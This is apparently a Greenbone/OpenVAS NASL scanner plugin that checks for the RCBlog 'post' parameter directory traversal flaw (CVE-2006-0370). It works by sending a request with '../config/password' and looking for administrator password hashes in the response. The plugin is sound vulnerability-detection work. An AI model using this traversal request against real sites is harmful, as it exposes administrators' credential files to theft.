RCBlog post Parameter Directory Traversal Vulnerability

# SPDX-FileCopyrightText: 2006 Josh Zlatin-Amishav
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.20825");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2006-03-26 17:55:15 +0200 (Sun, 26 Mar 2006)");
  script_cve_id("CVE-2006-0370", "CVE-2006-0371");
  script_xref(name:"OSVDB", value:"22679");
  script_xref(name:"OSVDB", value:"22680");
  script_xref(name:"OSVDB", value:"22681");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_name("RCBlog post Parameter Directory Traversal Vulnerability");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2006 Josh Zlatin-Amishav");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution", value:"Remove the application as its author no longer supports it.");

  script_tag(name:"summary", value:"The remote version of RCBlog fails to sanitize user-supplied
  input to the 'post' parameter of the 'index.php' script.");

  script_tag(name:"impact", value:"An attacker can use this to access arbitrary files on the remote
  host provided PHP's 'magic_quotes' setting is disabled or, regardless of that setting, files with
  a '.txt' extension such as those used by the application to store administrative credentials.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/422499");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/16342");

  script_tag(name:"solution_type", value:"Mitigation");

  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port(default:80);
if(!http_can_host_php(port:port))
  exit(0);

file = "../config/password";

foreach dir( make_list_unique( "/rcblog", "/blog", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" )
    dir = "";

  url = dir + "/index.php";
  res = http_get_cache(item:url, port:port);
  if(!res || 'powered by <a href="http://www.fluffington.com/">RCBlog' >!< res)
    continue;

  url += "?post=" + file;
  req = http_get(item:url, port:port);
  res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
  if(!res)
    continue;

  # If it looks like it worked.
  if( string(file, " not found.</div>") >!< res &&
      'powered by <a href="http://www.fluffington.com/">RCBlog' >< res &&
      egrep(pattern:'<div class="title">[a-f0-9]{32}\t[a-f0-9]{32}</div>', string:res) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit(0);
  }
}

exit(99);